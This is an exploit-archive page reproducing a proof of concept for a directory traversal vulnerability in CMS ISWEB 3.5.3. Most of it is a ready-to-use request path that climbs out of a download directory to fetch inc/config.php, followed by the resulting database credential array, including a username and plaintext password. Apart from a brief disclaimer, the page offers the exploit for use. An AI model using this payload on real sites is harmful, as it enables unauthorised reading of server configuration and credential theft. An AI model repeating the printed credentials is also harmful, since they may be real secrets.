Cms isweb 3.5.3 directory traversal Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2018-08-06 | Type : webapps | Platform : php
This exploit / vulnerability Cms isweb 3.5.3 directory traversal is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

# Exploit Title: CMS ISWEB 3.5.3 - Directory Traversal
# Date: 2018-08-01
# Exploit Author: Thiago "thxsena" Sena
# Vendor Homepage: http://www.isweb.it
# Version: 3.5.3
# Tested on: Linux
# CVE : N/A

# PoC:
# CMS ISWEB 3.5.3 is vulnerable to directory traversal and local file download,
# as demonstrated by

moduli/downloadFile.php?file=oggetto_documenti/../.././inc/config.php

# Download and open it.
$dati_db = array(
'tipo' => 'mysql',
'host' => 'localhost',
'user' => 'networkis',
'password' => 'guybrush77',
'database' => 'networkis',
'database_offline' => '',
'persistenza' => FALSE,
'prefisso' => '',
'like' => 'LIKE'
);